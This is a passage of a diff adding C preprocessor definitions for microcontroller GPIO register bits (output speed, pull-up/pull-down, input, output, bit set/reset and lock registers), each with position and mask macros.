+#define GPIO_OSPEEDR_OSPEED6_0 (0x1UL << GPIO_OSPEEDR_OSPEED6_Pos) /*!< 0x00001000 */ +#define GPIO_OSPEEDR_OSPEED6_1 (0x2UL << GPIO_OSPEEDR_OSPEED6_Pos) /*!< 0x00002000 */ +#define GPIO_OSPEEDR_OSPEED7_Pos (14UL) +#define GPIO_OSPEEDR_OSPEED7_Msk (0x3UL << GPIO_OSPEEDR_OSPEED7_Pos) /*!< 0x0000C000 */ +#define GPIO_OSPEEDR_OSPEED7 GPIO_OSPEEDR_OSPEED7_Msk +#define GPIO_OSPEEDR_OSPEED7_0 (0x1UL << GPIO_OSPEEDR_OSPEED7_Pos) /*!< 0x00004000 */ +#define GPIO_OSPEEDR_OSPEED7_1 (0x2UL << GPIO_OSPEEDR_OSPEED7_Pos) /*!< 0x00008000 */ +#define GPIO_OSPEEDR_OSPEED8_Pos (16UL) +#define GPIO_OSPEEDR_OSPEED8_Msk (0x3UL << GPIO_OSPEEDR_OSPEED8_Pos) /*!< 0x00030000 */ +#define GPIO_OSPEEDR_OSPEED8 GPIO_OSPEEDR_OSPEED8_Msk +#define GPIO_OSPEEDR_OSPEED8_0 (0x1UL << GPIO_OSPEEDR_OSPEED8_Pos) /*!< 0x00010000 */ +#define GPIO_OSPEEDR_OSPEED8_1 (0x2UL << GPIO_OSPEEDR_OSPEED8_Pos) /*!< 0x00020000 */ +#define GPIO_OSPEEDR_OSPEED9_Pos (18UL) +#define GPIO_OSPEEDR_OSPEED9_Msk (0x3UL << GPIO_OSPEEDR_OSPEED9_Pos) /*!< 0x000C0000 */ +#define GPIO_OSPEEDR_OSPEED9 GPIO_OSPEEDR_OSPEED9_Msk +#define GPIO_OSPEEDR_OSPEED9_0 (0x1UL << GPIO_OSPEEDR_OSPEED9_Pos) /*!< 0x00040000 */ +#define GPIO_OSPEEDR_OSPEED9_1 (0x2UL << GPIO_OSPEEDR_OSPEED9_Pos) /*!< 0x00080000 */ +#define GPIO_OSPEEDR_OSPEED10_Pos (20UL) +#define GPIO_OSPEEDR_OSPEED10_Msk (0x3UL << GPIO_OSPEEDR_OSPEED10_Pos) /*!< 0x00300000 */ +#define GPIO_OSPEEDR_OSPEED10 GPIO_OSPEEDR_OSPEED10_Msk +#define GPIO_OSPEEDR_OSPEED10_0 (0x1UL << GPIO_OSPEEDR_OSPEED10_Pos) /*!< 0x00100000 */ +#define GPIO_OSPEEDR_OSPEED10_1 (0x2UL << GPIO_OSPEEDR_OSPEED10_Pos) /*!< 0x00200000 */ +#define GPIO_OSPEEDR_OSPEED11_Pos (22UL) +#define GPIO_OSPEEDR_OSPEED11_Msk (0x3UL << GPIO_OSPEEDR_OSPEED11_Pos) /*!< 0x00C00000 */ +#define GPIO_OSPEEDR_OSPEED11 GPIO_OSPEEDR_OSPEED11_Msk +#define GPIO_OSPEEDR_OSPEED11_0 (0x1UL << GPIO_OSPEEDR_OSPEED11_Pos) /*!< 0x00400000 */ +#define GPIO_OSPEEDR_OSPEED11_1 (0x2UL << GPIO_OSPEEDR_OSPEED11_Pos) /*!< 0x00800000 */ +#define GPIO_OSPEEDR_OSPEED12_Pos (24UL) +#define GPIO_OSPEEDR_OSPEED12_Msk (0x3UL << GPIO_OSPEEDR_OSPEED12_Pos) /*!< 0x03000000 */ +#define GPIO_OSPEEDR_OSPEED12 GPIO_OSPEEDR_OSPEED12_Msk +#define GPIO_OSPEEDR_OSPEED12_0 (0x1UL << GPIO_OSPEEDR_OSPEED12_Pos) /*!< 0x01000000 */ +#define GPIO_OSPEEDR_OSPEED12_1 (0x2UL << GPIO_OSPEEDR_OSPEED12_Pos) /*!< 0x02000000 */ +#define GPIO_OSPEEDR_OSPEED13_Pos (26UL) +#define GPIO_OSPEEDR_OSPEED13_Msk (0x3UL << GPIO_OSPEEDR_OSPEED13_Pos) /*!< 0x0C000000 */ +#define GPIO_OSPEEDR_OSPEED13 GPIO_OSPEEDR_OSPEED13_Msk +#define GPIO_OSPEEDR_OSPEED13_0 (0x1UL << GPIO_OSPEEDR_OSPEED13_Pos) /*!< 0x04000000 */ +#define GPIO_OSPEEDR_OSPEED13_1 (0x2UL << GPIO_OSPEEDR_OSPEED13_Pos) /*!< 0x08000000 */ +#define GPIO_OSPEEDR_OSPEED14_Pos (28UL) +#define GPIO_OSPEEDR_OSPEED14_Msk (0x3UL << GPIO_OSPEEDR_OSPEED14_Pos) /*!< 0x30000000 */ +#define GPIO_OSPEEDR_OSPEED14 GPIO_OSPEEDR_OSPEED14_Msk +#define GPIO_OSPEEDR_OSPEED14_0 (0x1UL << GPIO_OSPEEDR_OSPEED14_Pos) /*!< 0x10000000 */ +#define GPIO_OSPEEDR_OSPEED14_1 (0x2UL << GPIO_OSPEEDR_OSPEED14_Pos) /*!< 0x20000000 */ +#define GPIO_OSPEEDR_OSPEED15_Pos (30UL) +#define GPIO_OSPEEDR_OSPEED15_Msk (0x3UL << GPIO_OSPEEDR_OSPEED15_Pos) /*!< 0xC0000000 */ +#define GPIO_OSPEEDR_OSPEED15 GPIO_OSPEEDR_OSPEED15_Msk +#define GPIO_OSPEEDR_OSPEED15_0 (0x1UL << GPIO_OSPEEDR_OSPEED15_Pos) /*!< 0x40000000 */ +#define GPIO_OSPEEDR_OSPEED15_1 (0x2UL << GPIO_OSPEEDR_OSPEED15_Pos) /*!< 0x80000000 */ + +/****************** Bits definition for GPIO_PUPDR register *****************/ +#define GPIO_PUPDR_PUPD0_Pos (0UL) +#define GPIO_PUPDR_PUPD0_Msk (0x3UL << GPIO_PUPDR_PUPD0_Pos) /*!< 0x00000003 */ +#define GPIO_PUPDR_PUPD0 GPIO_PUPDR_PUPD0_Msk +#define GPIO_PUPDR_PUPD0_0 (0x1UL << GPIO_PUPDR_PUPD0_Pos) /*!< 0x00000001 */ +#define GPIO_PUPDR_PUPD0_1 (0x2UL << GPIO_PUPDR_PUPD0_Pos) /*!< 0x00000002 */ +#define GPIO_PUPDR_PUPD1_Pos (2UL) +#define GPIO_PUPDR_PUPD1_Msk (0x3UL << GPIO_PUPDR_PUPD1_Pos) /*!< 0x0000000C */ +#define GPIO_PUPDR_PUPD1 GPIO_PUPDR_PUPD1_Msk +#define GPIO_PUPDR_PUPD1_0 (0x1UL << GPIO_PUPDR_PUPD1_Pos) /*!< 0x00000004 */ +#define GPIO_PUPDR_PUPD1_1 (0x2UL << GPIO_PUPDR_PUPD1_Pos) /*!< 0x00000008 */ +#define GPIO_PUPDR_PUPD2_Pos (4UL) +#define GPIO_PUPDR_PUPD2_Msk (0x3UL << GPIO_PUPDR_PUPD2_Pos) /*!< 0x00000030 */ +#define GPIO_PUPDR_PUPD2 GPIO_PUPDR_PUPD2_Msk +#define GPIO_PUPDR_PUPD2_0 (0x1UL << GPIO_PUPDR_PUPD2_Pos) /*!< 0x00000010 */ +#define GPIO_PUPDR_PUPD2_1 (0x2UL << GPIO_PUPDR_PUPD2_Pos) /*!< 0x00000020 */ +#define GPIO_PUPDR_PUPD3_Pos (6UL) +#define GPIO_PUPDR_PUPD3_Msk (0x3UL << GPIO_PUPDR_PUPD3_Pos) /*!< 0x000000C0 */ +#define GPIO_PUPDR_PUPD3 GPIO_PUPDR_PUPD3_Msk +#define GPIO_PUPDR_PUPD3_0 (0x1UL << GPIO_PUPDR_PUPD3_Pos) /*!< 0x00000040 */ +#define GPIO_PUPDR_PUPD3_1 (0x2UL << GPIO_PUPDR_PUPD3_Pos) /*!< 0x00000080 */ +#define GPIO_PUPDR_PUPD4_Pos (8UL) +#define GPIO_PUPDR_PUPD4_Msk (0x3UL << GPIO_PUPDR_PUPD4_Pos) /*!< 0x00000300 */ +#define GPIO_PUPDR_PUPD4 GPIO_PUPDR_PUPD4_Msk +#define GPIO_PUPDR_PUPD4_0 (0x1UL << GPIO_PUPDR_PUPD4_Pos) /*!< 0x00000100 */ +#define GPIO_PUPDR_PUPD4_1 (0x2UL << GPIO_PUPDR_PUPD4_Pos) /*!< 0x00000200 */ +#define GPIO_PUPDR_PUPD5_Pos (10UL) +#define GPIO_PUPDR_PUPD5_Msk (0x3UL << GPIO_PUPDR_PUPD5_Pos) /*!< 0x00000C00 */ +#define GPIO_PUPDR_PUPD5 GPIO_PUPDR_PUPD5_Msk +#define GPIO_PUPDR_PUPD5_0 (0x1UL << GPIO_PUPDR_PUPD5_Pos) /*!< 0x00000400 */ +#define GPIO_PUPDR_PUPD5_1 (0x2UL << GPIO_PUPDR_PUPD5_Pos) /*!< 0x00000800 */ +#define GPIO_PUPDR_PUPD6_Pos (12UL) +#define GPIO_PUPDR_PUPD6_Msk (0x3UL << GPIO_PUPDR_PUPD6_Pos) /*!< 0x00003000 */ +#define GPIO_PUPDR_PUPD6 GPIO_PUPDR_PUPD6_Msk +#define GPIO_PUPDR_PUPD6_0 (0x1UL << GPIO_PUPDR_PUPD6_Pos) /*!< 0x00001000 */ +#define GPIO_PUPDR_PUPD6_1 (0x2UL << GPIO_PUPDR_PUPD6_Pos) /*!< 0x00002000 */ +#define GPIO_PUPDR_PUPD7_Pos (14UL) +#define GPIO_PUPDR_PUPD7_Msk (0x3UL << GPIO_PUPDR_PUPD7_Pos) /*!< 0x0000C000 */ +#define GPIO_PUPDR_PUPD7 GPIO_PUPDR_PUPD7_Msk +#define GPIO_PUPDR_PUPD7_0 (0x1UL << GPIO_PUPDR_PUPD7_Pos) /*!< 0x00004000 */ +#define GPIO_PUPDR_PUPD7_1 (0x2UL << GPIO_PUPDR_PUPD7_Pos) /*!< 0x00008000 */ +#define GPIO_PUPDR_PUPD8_Pos (16UL) +#define GPIO_PUPDR_PUPD8_Msk (0x3UL << GPIO_PUPDR_PUPD8_Pos) /*!< 0x00030000 */ +#define GPIO_PUPDR_PUPD8 GPIO_PUPDR_PUPD8_Msk +#define GPIO_PUPDR_PUPD8_0 (0x1UL << GPIO_PUPDR_PUPD8_Pos) /*!< 0x00010000 */ +#define GPIO_PUPDR_PUPD8_1 (0x2UL << GPIO_PUPDR_PUPD8_Pos) /*!< 0x00020000 */ +#define GPIO_PUPDR_PUPD9_Pos (18UL) +#define GPIO_PUPDR_PUPD9_Msk (0x3UL << GPIO_PUPDR_PUPD9_Pos) /*!< 0x000C0000 */ +#define GPIO_PUPDR_PUPD9 GPIO_PUPDR_PUPD9_Msk +#define GPIO_PUPDR_PUPD9_0 (0x1UL << GPIO_PUPDR_PUPD9_Pos) /*!< 0x00040000 */ +#define GPIO_PUPDR_PUPD9_1 (0x2UL << GPIO_PUPDR_PUPD9_Pos) /*!< 0x00080000 */ +#define GPIO_PUPDR_PUPD10_Pos (20UL) +#define GPIO_PUPDR_PUPD10_Msk (0x3UL << GPIO_PUPDR_PUPD10_Pos) /*!< 0x00300000 */ +#define GPIO_PUPDR_PUPD10 GPIO_PUPDR_PUPD10_Msk +#define GPIO_PUPDR_PUPD10_0 (0x1UL << GPIO_PUPDR_PUPD10_Pos) /*!< 0x00100000 */ +#define GPIO_PUPDR_PUPD10_1 (0x2UL << GPIO_PUPDR_PUPD10_Pos) /*!< 0x00200000 */ +#define GPIO_PUPDR_PUPD11_Pos (22UL) +#define GPIO_PUPDR_PUPD11_Msk (0x3UL << GPIO_PUPDR_PUPD11_Pos) /*!< 0x00C00000 */ +#define GPIO_PUPDR_PUPD11 GPIO_PUPDR_PUPD11_Msk +#define GPIO_PUPDR_PUPD11_0 (0x1UL << GPIO_PUPDR_PUPD11_Pos) /*!< 0x00400000 */ +#define GPIO_PUPDR_PUPD11_1 (0x2UL << GPIO_PUPDR_PUPD11_Pos) /*!< 0x00800000 */ +#define GPIO_PUPDR_PUPD12_Pos (24UL) +#define GPIO_PUPDR_PUPD12_Msk (0x3UL << GPIO_PUPDR_PUPD12_Pos) /*!< 0x03000000 */ +#define GPIO_PUPDR_PUPD12 GPIO_PUPDR_PUPD12_Msk +#define GPIO_PUPDR_PUPD12_0 (0x1UL << GPIO_PUPDR_PUPD12_Pos) /*!< 0x01000000 */ +#define GPIO_PUPDR_PUPD12_1 (0x2UL << GPIO_PUPDR_PUPD12_Pos) /*!< 0x02000000 */ +#define GPIO_PUPDR_PUPD13_Pos (26UL) +#define GPIO_PUPDR_PUPD13_Msk (0x3UL << GPIO_PUPDR_PUPD13_Pos) /*!< 0x0C000000 */ +#define GPIO_PUPDR_PUPD13 GPIO_PUPDR_PUPD13_Msk +#define GPIO_PUPDR_PUPD13_0 (0x1UL << GPIO_PUPDR_PUPD13_Pos) /*!< 0x04000000 */ +#define GPIO_PUPDR_PUPD13_1 (0x2UL << GPIO_PUPDR_PUPD13_Pos) /*!< 0x08000000 */ +#define GPIO_PUPDR_PUPD14_Pos (28UL) +#define GPIO_PUPDR_PUPD14_Msk (0x3UL << GPIO_PUPDR_PUPD14_Pos) /*!< 0x30000000 */ +#define GPIO_PUPDR_PUPD14 GPIO_PUPDR_PUPD14_Msk +#define GPIO_PUPDR_PUPD14_0 (0x1UL << GPIO_PUPDR_PUPD14_Pos) /*!< 0x10000000 */ +#define GPIO_PUPDR_PUPD14_1 (0x2UL << GPIO_PUPDR_PUPD14_Pos) /*!< 0x20000000 */ +#define GPIO_PUPDR_PUPD15_Pos (30UL) +#define GPIO_PUPDR_PUPD15_Msk (0x3UL << GPIO_PUPDR_PUPD15_Pos) /*!< 0xC0000000 */ +#define GPIO_PUPDR_PUPD15 GPIO_PUPDR_PUPD15_Msk +#define GPIO_PUPDR_PUPD15_0 (0x1UL << GPIO_PUPDR_PUPD15_Pos) /*!< 0x40000000 */ +#define GPIO_PUPDR_PUPD15_1 (0x2UL << GPIO_PUPDR_PUPD15_Pos) /*!< 0x80000000 */ + +/****************** Bits definition for GPIO_IDR register *******************/ +#define GPIO_IDR_ID0_Pos (0UL) +#define GPIO_IDR_ID0_Msk (0x1UL << GPIO_IDR_ID0_Pos) /*!< 0x00000001 */ +#define GPIO_IDR_ID0 GPIO_IDR_ID0_Msk +#define GPIO_IDR_ID1_Pos (1UL) +#define GPIO_IDR_ID1_Msk (0x1UL << GPIO_IDR_ID1_Pos) /*!< 0x00000002 */ +#define GPIO_IDR_ID1 GPIO_IDR_ID1_Msk +#define GPIO_IDR_ID2_Pos (2UL) +#define GPIO_IDR_ID2_Msk (0x1UL << GPIO_IDR_ID2_Pos) /*!< 0x00000004 */ +#define GPIO_IDR_ID2 GPIO_IDR_ID2_Msk +#define GPIO_IDR_ID3_Pos (3UL) +#define GPIO_IDR_ID3_Msk (0x1UL << GPIO_IDR_ID3_Pos) /*!< 0x00000008 */ +#define GPIO_IDR_ID3 GPIO_IDR_ID3_Msk +#define GPIO_IDR_ID4_Pos (4UL) +#define GPIO_IDR_ID4_Msk (0x1UL << GPIO_IDR_ID4_Pos) /*!< 0x00000010 */ +#define GPIO_IDR_ID4 GPIO_IDR_ID4_Msk +#define GPIO_IDR_ID5_Pos (5UL) +#define GPIO_IDR_ID5_Msk (0x1UL << GPIO_IDR_ID5_Pos) /*!< 0x00000020 */ +#define GPIO_IDR_ID5 GPIO_IDR_ID5_Msk +#define GPIO_IDR_ID6_Pos (6UL) +#define GPIO_IDR_ID6_Msk (0x1UL << GPIO_IDR_ID6_Pos) /*!< 0x00000040 */ +#define GPIO_IDR_ID6 GPIO_IDR_ID6_Msk +#define GPIO_IDR_ID7_Pos (7UL) +#define GPIO_IDR_ID7_Msk (0x1UL << GPIO_IDR_ID7_Pos) /*!< 0x00000080 */ +#define GPIO_IDR_ID7 GPIO_IDR_ID7_Msk +#define GPIO_IDR_ID8_Pos (8UL) +#define GPIO_IDR_ID8_Msk (0x1UL << GPIO_IDR_ID8_Pos) /*!< 0x00000100 */ +#define GPIO_IDR_ID8 GPIO_IDR_ID8_Msk +#define GPIO_IDR_ID9_Pos (9UL) +#define GPIO_IDR_ID9_Msk (0x1UL << GPIO_IDR_ID9_Pos) /*!< 0x00000200 */ +#define GPIO_IDR_ID9 GPIO_IDR_ID9_Msk +#define GPIO_IDR_ID10_Pos (10UL) +#define GPIO_IDR_ID10_Msk (0x1UL << GPIO_IDR_ID10_Pos) /*!< 0x00000400 */ +#define GPIO_IDR_ID10 GPIO_IDR_ID10_Msk +#define GPIO_IDR_ID11_Pos (11UL) +#define GPIO_IDR_ID11_Msk (0x1UL << GPIO_IDR_ID11_Pos) /*!< 0x00000800 */ +#define GPIO_IDR_ID11 GPIO_IDR_ID11_Msk +#define GPIO_IDR_ID12_Pos (12UL) +#define GPIO_IDR_ID12_Msk (0x1UL << GPIO_IDR_ID12_Pos) /*!< 0x00001000 */ +#define GPIO_IDR_ID12 GPIO_IDR_ID12_Msk +#define GPIO_IDR_ID13_Pos (13UL) +#define GPIO_IDR_ID13_Msk (0x1UL << GPIO_IDR_ID13_Pos) /*!< 0x00002000 */ +#define GPIO_IDR_ID13 GPIO_IDR_ID13_Msk +#define GPIO_IDR_ID14_Pos (14UL) +#define GPIO_IDR_ID14_Msk (0x1UL << GPIO_IDR_ID14_Pos) /*!< 0x00004000 */ +#define GPIO_IDR_ID14 GPIO_IDR_ID14_Msk +#define GPIO_IDR_ID15_Pos (15UL) +#define GPIO_IDR_ID15_Msk (0x1UL << GPIO_IDR_ID15_Pos) /*!< 0x00008000 */ +#define GPIO_IDR_ID15 GPIO_IDR_ID15_Msk + +/****************** Bits definition for GPIO_ODR register *******************/ +#define GPIO_ODR_OD0_Pos (0UL) +#define GPIO_ODR_OD0_Msk (0x1UL << GPIO_ODR_OD0_Pos) /*!< 0x00000001 */ +#define GPIO_ODR_OD0 GPIO_ODR_OD0_Msk +#define GPIO_ODR_OD1_Pos (1UL) +#define GPIO_ODR_OD1_Msk (0x1UL << GPIO_ODR_OD1_Pos) /*!< 0x00000002 */ +#define GPIO_ODR_OD1 GPIO_ODR_OD1_Msk +#define GPIO_ODR_OD2_Pos (2UL) +#define GPIO_ODR_OD2_Msk (0x1UL << GPIO_ODR_OD2_Pos) /*!< 0x00000004 */ +#define GPIO_ODR_OD2 GPIO_ODR_OD2_Msk +#define GPIO_ODR_OD3_Pos (3UL) +#define GPIO_ODR_OD3_Msk (0x1UL << GPIO_ODR_OD3_Pos) /*!< 0x00000008 */ +#define GPIO_ODR_OD3 GPIO_ODR_OD3_Msk +#define GPIO_ODR_OD4_Pos (4UL) +#define GPIO_ODR_OD4_Msk (0x1UL << GPIO_ODR_OD4_Pos) /*!< 0x00000010 */ +#define GPIO_ODR_OD4 GPIO_ODR_OD4_Msk +#define GPIO_ODR_OD5_Pos (5UL) +#define GPIO_ODR_OD5_Msk (0x1UL << GPIO_ODR_OD5_Pos) /*!< 0x00000020 */ +#define GPIO_ODR_OD5 GPIO_ODR_OD5_Msk +#define GPIO_ODR_OD6_Pos (6UL) +#define GPIO_ODR_OD6_Msk (0x1UL << GPIO_ODR_OD6_Pos) /*!< 0x00000040 */ +#define GPIO_ODR_OD6 GPIO_ODR_OD6_Msk +#define GPIO_ODR_OD7_Pos (7UL) +#define GPIO_ODR_OD7_Msk (0x1UL << GPIO_ODR_OD7_Pos) /*!< 0x00000080 */ +#define GPIO_ODR_OD7 GPIO_ODR_OD7_Msk +#define GPIO_ODR_OD8_Pos (8UL) +#define GPIO_ODR_OD8_Msk (0x1UL << GPIO_ODR_OD8_Pos) /*!< 0x00000100 */ +#define GPIO_ODR_OD8 GPIO_ODR_OD8_Msk +#define GPIO_ODR_OD9_Pos (9UL) +#define GPIO_ODR_OD9_Msk (0x1UL << GPIO_ODR_OD9_Pos) /*!< 0x00000200 */ +#define GPIO_ODR_OD9 GPIO_ODR_OD9_Msk +#define GPIO_ODR_OD10_Pos (10UL) +#define GPIO_ODR_OD10_Msk (0x1UL << GPIO_ODR_OD10_Pos) /*!< 0x00000400 */ +#define GPIO_ODR_OD10 GPIO_ODR_OD10_Msk +#define GPIO_ODR_OD11_Pos (11UL) +#define GPIO_ODR_OD11_Msk (0x1UL << GPIO_ODR_OD11_Pos) /*!< 0x00000800 */ +#define GPIO_ODR_OD11 GPIO_ODR_OD11_Msk +#define GPIO_ODR_OD12_Pos (12UL) +#define GPIO_ODR_OD12_Msk (0x1UL << GPIO_ODR_OD12_Pos) /*!< 0x00001000 */ +#define GPIO_ODR_OD12 GPIO_ODR_OD12_Msk +#define GPIO_ODR_OD13_Pos (13UL) +#define GPIO_ODR_OD13_Msk (0x1UL << GPIO_ODR_OD13_Pos) /*!< 0x00002000 */ +#define GPIO_ODR_OD13 GPIO_ODR_OD13_Msk +#define GPIO_ODR_OD14_Pos (14UL) +#define GPIO_ODR_OD14_Msk (0x1UL << GPIO_ODR_OD14_Pos) /*!< 0x00004000 */ +#define GPIO_ODR_OD14 GPIO_ODR_OD14_Msk +#define GPIO_ODR_OD15_Pos (15UL) +#define GPIO_ODR_OD15_Msk (0x1UL << GPIO_ODR_OD15_Pos) /*!< 0x00008000 */ +#define GPIO_ODR_OD15 GPIO_ODR_OD15_Msk + +/****************** Bits definition for GPIO_BSRR register ******************/ +#define GPIO_BSRR_BS0_Pos (0UL) +#define GPIO_BSRR_BS0_Msk (0x1UL << GPIO_BSRR_BS0_Pos) /*!< 0x00000001 */ +#define GPIO_BSRR_BS0 GPIO_BSRR_BS0_Msk +#define GPIO_BSRR_BS1_Pos (1UL) +#define GPIO_BSRR_BS1_Msk (0x1UL << GPIO_BSRR_BS1_Pos) /*!< 0x00000002 */ +#define GPIO_BSRR_BS1 GPIO_BSRR_BS1_Msk +#define GPIO_BSRR_BS2_Pos (2UL) +#define GPIO_BSRR_BS2_Msk (0x1UL << GPIO_BSRR_BS2_Pos) /*!< 0x00000004 */ +#define GPIO_BSRR_BS2 GPIO_BSRR_BS2_Msk +#define GPIO_BSRR_BS3_Pos (3UL) +#define GPIO_BSRR_BS3_Msk (0x1UL << GPIO_BSRR_BS3_Pos) /*!< 0x00000008 */ +#define GPIO_BSRR_BS3 GPIO_BSRR_BS3_Msk +#define GPIO_BSRR_BS4_Pos (4UL) +#define GPIO_BSRR_BS4_Msk (0x1UL << GPIO_BSRR_BS4_Pos) /*!< 0x00000010 */ +#define GPIO_BSRR_BS4 GPIO_BSRR_BS4_Msk +#define GPIO_BSRR_BS5_Pos (5UL) +#define GPIO_BSRR_BS5_Msk (0x1UL << GPIO_BSRR_BS5_Pos) /*!< 0x00000020 */ +#define GPIO_BSRR_BS5 GPIO_BSRR_BS5_Msk +#define GPIO_BSRR_BS6_Pos (6UL) +#define GPIO_BSRR_BS6_Msk (0x1UL << GPIO_BSRR_BS6_Pos) /*!< 0x00000040 */ +#define GPIO_BSRR_BS6 GPIO_BSRR_BS6_Msk +#define GPIO_BSRR_BS7_Pos (7UL) +#define GPIO_BSRR_BS7_Msk (0x1UL << GPIO_BSRR_BS7_Pos) /*!< 0x00000080 */ +#define GPIO_BSRR_BS7 GPIO_BSRR_BS7_Msk +#define GPIO_BSRR_BS8_Pos (8UL) +#define GPIO_BSRR_BS8_Msk (0x1UL << GPIO_BSRR_BS8_Pos) /*!< 0x00000100 */ +#define GPIO_BSRR_BS8 GPIO_BSRR_BS8_Msk +#define GPIO_BSRR_BS9_Pos (9UL) +#define GPIO_BSRR_BS9_Msk (0x1UL << GPIO_BSRR_BS9_Pos) /*!< 0x00000200 */ +#define GPIO_BSRR_BS9 GPIO_BSRR_BS9_Msk +#define GPIO_BSRR_BS10_Pos (10UL) +#define GPIO_BSRR_BS10_Msk (0x1UL << GPIO_BSRR_BS10_Pos) /*!< 0x00000400 */ +#define GPIO_BSRR_BS10 GPIO_BSRR_BS10_Msk +#define GPIO_BSRR_BS11_Pos (11UL) +#define GPIO_BSRR_BS11_Msk (0x1UL << GPIO_BSRR_BS11_Pos) /*!< 0x00000800 */ +#define GPIO_BSRR_BS11 GPIO_BSRR_BS11_Msk +#define GPIO_BSRR_BS12_Pos (12UL) +#define GPIO_BSRR_BS12_Msk (0x1UL << GPIO_BSRR_BS12_Pos) /*!< 0x00001000 */ +#define GPIO_BSRR_BS12 GPIO_BSRR_BS12_Msk +#define GPIO_BSRR_BS13_Pos (13UL) +#define GPIO_BSRR_BS13_Msk (0x1UL << GPIO_BSRR_BS13_Pos) /*!< 0x00002000 */ +#define GPIO_BSRR_BS13 GPIO_BSRR_BS13_Msk +#define GPIO_BSRR_BS14_Pos (14UL) +#define GPIO_BSRR_BS14_Msk (0x1UL << GPIO_BSRR_BS14_Pos) /*!< 0x00004000 */ +#define GPIO_BSRR_BS14 GPIO_BSRR_BS14_Msk +#define GPIO_BSRR_BS15_Pos (15UL) +#define GPIO_BSRR_BS15_Msk (0x1UL << GPIO_BSRR_BS15_Pos) /*!< 0x00008000 */ +#define GPIO_BSRR_BS15 GPIO_BSRR_BS15_Msk +#define GPIO_BSRR_BR0_Pos (16UL) +#define GPIO_BSRR_BR0_Msk (0x1UL << GPIO_BSRR_BR0_Pos) /*!< 0x00010000 */ +#define GPIO_BSRR_BR0 GPIO_BSRR_BR0_Msk +#define GPIO_BSRR_BR1_Pos (17UL) +#define GPIO_BSRR_BR1_Msk (0x1UL << GPIO_BSRR_BR1_Pos) /*!< 0x00020000 */ +#define GPIO_BSRR_BR1 GPIO_BSRR_BR1_Msk +#define GPIO_BSRR_BR2_Pos (18UL) +#define GPIO_BSRR_BR2_Msk (0x1UL << GPIO_BSRR_BR2_Pos) /*!< 0x00040000 */ +#define GPIO_BSRR_BR2 GPIO_BSRR_BR2_Msk +#define GPIO_BSRR_BR3_Pos (19UL) +#define GPIO_BSRR_BR3_Msk (0x1UL << GPIO_BSRR_BR3_Pos) /*!< 0x00080000 */ +#define GPIO_BSRR_BR3 GPIO_BSRR_BR3_Msk +#define GPIO_BSRR_BR4_Pos (20UL) +#define GPIO_BSRR_BR4_Msk (0x1UL << GPIO_BSRR_BR4_Pos) /*!< 0x00100000 */ +#define GPIO_BSRR_BR4 GPIO_BSRR_BR4_Msk +#define GPIO_BSRR_BR5_Pos (21UL) +#define GPIO_BSRR_BR5_Msk (0x1UL << GPIO_BSRR_BR5_Pos) /*!< 0x00200000 */ +#define GPIO_BSRR_BR5 GPIO_BSRR_BR5_Msk +#define GPIO_BSRR_BR6_Pos (22UL) +#define GPIO_BSRR_BR6_Msk (0x1UL << GPIO_BSRR_BR6_Pos) /*!< 0x00400000 */ +#define GPIO_BSRR_BR6 GPIO_BSRR_BR6_Msk +#define GPIO_BSRR_BR7_Pos (23UL) +#define GPIO_BSRR_BR7_Msk (0x1UL << GPIO_BSRR_BR7_Pos) /*!< 0x00800000 */ +#define GPIO_BSRR_BR7 GPIO_BSRR_BR7_Msk +#define GPIO_BSRR_BR8_Pos (24UL) +#define GPIO_BSRR_BR8_Msk (0x1UL << GPIO_BSRR_BR8_Pos) /*!< 0x01000000 */ +#define GPIO_BSRR_BR8 GPIO_BSRR_BR8_Msk +#define GPIO_BSRR_BR9_Pos (25UL) +#define GPIO_BSRR_BR9_Msk (0x1UL << GPIO_BSRR_BR9_Pos) /*!< 0x02000000 */ +#define GPIO_BSRR_BR9 GPIO_BSRR_BR9_Msk +#define GPIO_BSRR_BR10_Pos (26UL) +#define GPIO_BSRR_BR10_Msk (0x1UL << GPIO_BSRR_BR10_Pos) /*!< 0x04000000 */ +#define GPIO_BSRR_BR10 GPIO_BSRR_BR10_Msk +#define GPIO_BSRR_BR11_Pos (27UL) +#define GPIO_BSRR_BR11_Msk (0x1UL << GPIO_BSRR_BR11_Pos) /*!< 0x08000000 */ +#define GPIO_BSRR_BR11 GPIO_BSRR_BR11_Msk +#define GPIO_BSRR_BR12_Pos (28UL) +#define GPIO_BSRR_BR12_Msk (0x1UL << GPIO_BSRR_BR12_Pos) /*!< 0x10000000 */ +#define GPIO_BSRR_BR12 GPIO_BSRR_BR12_Msk +#define GPIO_BSRR_BR13_Pos (29UL) +#define GPIO_BSRR_BR13_Msk (0x1UL << GPIO_BSRR_BR13_Pos) /*!< 0x20000000 */ +#define GPIO_BSRR_BR13 GPIO_BSRR_BR13_Msk +#define GPIO_BSRR_BR14_Pos (30UL) +#define GPIO_BSRR_BR14_Msk (0x1UL << GPIO_BSRR_BR14_Pos) /*!< 0x40000000 */ +#define GPIO_BSRR_BR14 GPIO_BSRR_BR14_Msk +#define GPIO_BSRR_BR15_Pos (31UL) +#define GPIO_BSRR_BR15_Msk (0x1UL << GPIO_BSRR_BR15_Pos) /*!< 0x80000000 */ +#define GPIO_BSRR_BR15 GPIO_BSRR_BR15_Msk + +/****************** Bit definition for GPIO_LCKR register *********************/ +#define GPIO_LCKR_LCK0_Pos (0UL) +#define GPIO_LCKR_LCK0_Msk (0x1UL << GPIO_LCKR_LCK0_Pos) /*!< 0x00000001 */ +#define GPIO_LCKR_LCK0 GPIO_LCKR_LCK0_Msk +#define GPIO_LCKR_LCK1_Pos (1UL) +#define GPIO_LCKR_LCK1_Msk (0x1UL << GPIO_LCKR_LCK1_Pos) /*!< 0x00000002 */ +#define GPIO_LCKR_LCK1 GPIO_LCKR_LCK1_Msk +#define GPIO_LCKR_LCK2_Pos (2UL) +#define GPIO_LCKR_LCK2_Msk (0x1UL << GPIO_LCKR_LCK2_Pos) /*!< 0x00000004 */ +#define GPIO_LCKR_LCK2 GPIO_LCKR_LCK2_Msk +#define GPIO_LCKR_LCK3_Pos (3UL) +#define GPIO_LCKR_LCK3_Msk (0x1UL << GPIO_LCKR_LCK3_Pos) /*!< 0x00000008 */ +#define GPIO_LCKR_LCK3 GPIO_LCKR_LCK3_Msk +#define GPIO_LCKR_LCK4_Pos (4UL) +#define GPIO_LCKR_LCK4_Msk (0x1UL << GPIO_LCKR_LCK4_Pos) /*!< 0x00000010 */ +#define GPIO_LCKR_LCK4 GPIO_LCKR_LCK4_Msk +#define GPIO_LCKR_LCK5_Pos (5UL) +#define GPIO_LCKR_LCK5_Msk (0x1UL << GPIO_LCKR_LCK5_Pos) /*!< 0x00000020 